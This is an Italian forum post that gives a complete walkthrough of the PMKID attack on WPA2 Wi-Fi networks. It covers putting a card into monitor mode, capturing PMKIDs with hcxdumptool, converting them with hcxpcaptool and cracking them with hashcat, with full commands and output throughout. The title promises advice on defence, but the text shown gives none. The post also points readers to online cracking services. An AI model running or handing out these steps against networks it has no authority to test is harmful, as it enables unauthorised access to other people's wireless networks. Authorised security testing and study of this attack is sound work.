Guida Attacco PMKID, come effettuarne uno? come difendersi da esso?

peste666

Utente Silver
12 Gennaio 2016
66
5
44
61
Con molto ritardo, finalmente trovo il tempo di buttare giu questa guida.
Purtroppo o le cose le faccio bene con il dovuto tempo o non mi va giu... Scusate per l'attesa!

Introduzione:
L' attacco avviene all'RSN IE (Robust Security Network Information Element) , ovvero un campo presente nei frame di management di un singolo pacchetto EAPOL. In questo frame è presente una stringa chiamata PMKID, una sorta di identificatore della Pairwise Master Key. Il PMKID è però computato utilizzando HMAC-SHA1 dove la chiave è la stessa PMK + una parte chiamata "PMK Name".

Ulteriori informazioni teoriche potete trovarle nella release: Guida - Attacco PMKID - Un po' di teoria

Prerequisiti da installare:
-Hcxdumptool
-Hcxtools
-Hashcat o JohnTheRipper se volete provare a crackarla voi
Piccola nota: Se durante i vari make vi vengono restituiti degli errori, non disperate: Probabilmente vi manca solo qualche file.
Cercatelo su google e capite da che pacchetto dipende e installatelo!


P.S. Questa guida non è il colpo finale alla WPA2 ma bensì un metodo per velocizzare di molto la storia e di sfruttare al meglio la capacità di droppare un pacchetto utile anche a distanze e condizioni precedentemente non favorevoli.

Guida:
Iniziamo terminando il network manager per non farci infastidire
Codice:
matt@matt-pc:~$ sudo service network-manager stop

Procediamo con il mettere la nostra interfaccia in monitor mode.
Vi consiglio di non farlo su un interfaccia logica, quindi con airmon ma mettendola fisicamente in monitor:

Codice:
matt@matt-pc:~$ iwconfig
enp2s0    no wireless extensions.

lo        no wireless extensions.

wlp3s0    IEEE 802.11  ESSID:"TIM-XXXXXXXXX"
          Mode:Managed  Frequency:2.437 GHz  Access Point: 12:34:56:78:9X:XX
          Bit Rate=72.2 Mb/s   Tx-Power=20 dBm
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=63/70  Signal level=-47 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:380  Invalid misc:192   Missed beacon:0
matt@matt-pc:~$ sudo ifconfig wlp3s0 down
matt@matt-pc:~$ sudo iwconfig wlp3s0 mode monitor
matt@matt-pc:~$ sudo ifconfig wlp3s0 up
matt@matt-pc:~$ iwconfig
enp2s0    no wireless extensions.

lo        no wireless extensions.

wlp3s0    IEEE 802.11  Mode:Monitor  Frequency:2.437 GHz  Tx-Power=20 dBm
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:on

Procedo poi con la scelta della rete sulla quale testare la vulnerabilità:
Codice:
matt@matt-pc:~$ sudo airodump-ng -i wlp3s0 -c 6


CH  6 ][ Elapsed: 0 s ][ 2019-02-11 22:46                                   
                                                                                        
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                        
12:34:56:78:9X:XX  -45   0       23        2    0   6  130  WPA2 CCMP   PSK  TIM-XXXXXXXX

Preferisco creare sempre una workdir per questo metodo, in quanto dovremmo smanettare con alcuni files:
Codice:
matt@matt-pc:~$ mkdir inforgeguida && cd inforgeguida
matt@matt-pc:~/inforgeguida$

Iniziamo con il preparare un file dal quale hcxdumptool andrà a filtrare i mac address:
Codice:
matt@matt-pc:~/inforgeguida$ echo "123456789XXX" > filtro.txt
matt@matt-pc:~/inforgeguida$ cat filtro.txt
123456789XXX
matt@matt-pc:~/inforgeguida$

Ora costruiamo il comando per hcxdumptool:
Codice:
matt@matt-pc:~/inforgeguida$ sudo hcxdumptool -c 6 -o tim.pcapng --filterlist=filtro.txt --enable_statu=1 -i wlp3s0

Dove:
  • -c Specifica il canale del nostro ap
  • -o Specifica il file di output. Ovviamente non è sensibile all'estensione viene utilizzata per chiarezza.
  • --filterlist=FILE Specifica il file da cui filtrare il mac. Mi raccomando escludete i due punti.
  • --enable_status=1 Abilita Abilita i messaggi di stato, 1=EAPOL
  • -i è la nostra interfaccia
Abbiamo questo Output, nel mio caso in meno di un minuto:
Codice:
matt@matt-pc:~/inforgeguida$ sudo hcxdumptool -c 6 -o tim.pcapng --filterlist=filtro.txt --enable_status=1 -i wlp3s0
initialization...
warning: wpa_supplicant is running with pid 582

start capturing (stop with ctrl+c)
INTERFACE:...............: wlp3s0
ERRORMAX.................: 100 errors
FILTERLIST...............: 1 entries
MAC CLIENT...............: b0ece12cb8bb
MAC ACCESS POINT.........: 8c84011cf616 (incremented on every new client)
EAPOL TIMEOUT............: 150000
REPLAYCOUNT..............: 64419
ANONCE...................: 0de1c355da910cc2ebd1d3b02fc7aa0ab3250eb61efbbc08abe1725bc2ce46d0

[23:06:48 - 006] 123456789XXX -> b0ece12cb8bb [FOUND PMKID CLIENT-LESS]
[23:07:23 - 006] 342eb61eb1f2 -> 8c84011cf617 [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 71463]
[23:07:32 - 006] 123456789XXX -> 342eb61eb1f2 [FOUND PMKID]

Se ora proviamo a dare cat del file appena generato, noteremo che è illeggibile, trasformiamolo ora in un file interpretabile.
Codice:
matt@matt-pc:~/inforgeguida$ hcxpcaptool -z tim.16800 tim.pcapng

reading from tim.pcapng
                                          
summary:                                 
--------
file name....................: tim.pcapng
file type....................: pcapng 1.0
file hardware information....: i686
file os information..........: Linux 4.18.0-15-generic
file application information.: hcxdumptool 5.1.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 51
skipped packets..............: 0
packets with GPS data........: 0
packets with FCS.............: 0
probe requests...............: 2
probe responses..............: 2
reassociation requests.......: 5
reassociation responses......: 1
authentications (OPEN SYSTEM): 9
authentications (BROADCOM)...: 9
EAPOL packets................: 31
EAPOL PMKIDs.................: 2
best handshakes..............: 2 (ap-less: 2)

2 PMKID(s) written to tim.16800

Dove:
  • -z Output di un file PMKID
Ed eccolo qui:
Codice:
matt@matt-pc:~/inforgeguida$ cat tim.16800
9cdabea0f7b2d66a1df73fc3ac956b6b*123456789XXX*b0ece12cb8bb*54494d2d3034383730383137
85c9ee8d4bf239101eef0d8ba26da4f6*123456789XXX*342eb61eb1f2*54494d2d3034383730383137

N.B. Lo CHiamiamo .16800 soltanto per distinguerlo dal file non leggibile. 16800 è la modalità PMKID di hashcat
Proviamo a darlo a hashcat con un dizionario breve al quale ho appeso la password della mia rete wifi.
Codice:
matt@matt-pc:~/inforgeguida$ hashcat -m 16800 tim.16800 dizionarioidiota.txt --force
hashcat (v4.2.1) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Genuine Intel(R) CPU             575  @ 2.00GHz, 512/1407 MB allocatable, 1MCU

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Dictionary cache built:
* Filename..: dizionarioidiota.txt
* Passwords.: 34
* Bytes.....: 194
* Keyspace..: 34
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

85c9ee8d4bf239101eef0d8ba26da4f6*123456789XXX*342eb61eb1f2*54494d2d3034383730383137:ewrgfreger
9cdabea0f7b2d66a1df73fc3ac956b6b*123456789XXX*b0ece12cb8bb*54494d2d3034383730383137:ewrgfreger
                                          
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: tim
Time.Started.....: Tue Feb 12 00:01:29 2019 (0 secs)
Time.Estimated...: Tue Feb 12 00:01:29 2019 (0 secs)
Guess.Base.......: File (dizionarioidiota.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:       35 H/s (0.15ms) @ Accel:480 Loops:16 Thr:1 Vec:4
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 68/68 (100.00%)
Rejected.........: 62/68 (91.18%)
Restore.Point....: 0/34 (0.00%)
Candidates.#1....: ewrgfreger -> 9ERqDfCsLeEMbT85
HWMon.Dev.#1.....: N/A

Started: Tue Feb 12 00:00:30 2019
Stopped: Tue Feb 12 00:01:31 2019
Dove:
  • -m 16800 Modalità PMKID
  • tim.16800 File ottenuto da hcxpcaptool
  • dizionarioidiota.txt Appunto un dizionario stupidissimo da una 30ina di righe contenente la password corretta.
  • --force Un opzione necessaria a me per far muovere il mio dinosauro. - potete ignorarla se necessario.
Per vedere le password appena trovate, ripetete il comando appendendo
Codice:
--show
Per riprovare magari con una maschera sugli stessi hash ottenuti, eliminate il potfile
Codice:
rm ~/.hashcat/hashcat.potfile

N.B. il mio hashcat ha problemi, avendo un pc davvero datato e chissa per quale arcano motivo, mostra come cadidato la password reale ma, nell'hash dopo i : una password a caso.
ho verificato rimuovendo la linea contenete la password corretta dal dizionario, ed ha restituito nessuna password trovata, quindi va bene cosi. Problema che proverò a risolvere. Sappiamo tutti che gli attacchi dizionario sono abbastanza deludenti, ma possiamo comunque provare con i vari tool online che offrono servizi di hashcracking, i quali al momento parecchi supportano il nuovo PMKID attack.

Conclusione: in pochi minuti, abbiamo un file crackabile. Senza dover deautenticare, o incastrarsi la testa con i vari aireplay e frame persi, wireshark ecc.
Non sono al corrente se l'attuale attacco è stato inserito in tools automatizzati. Personalmente non li ho mai usati, sono convinto tolgano il lato veramente divertente e utile del WiFi Pentesting.

Ciao e grazie a tutti.
 
  • Mi piace
Reazioni: Doppia D e Baud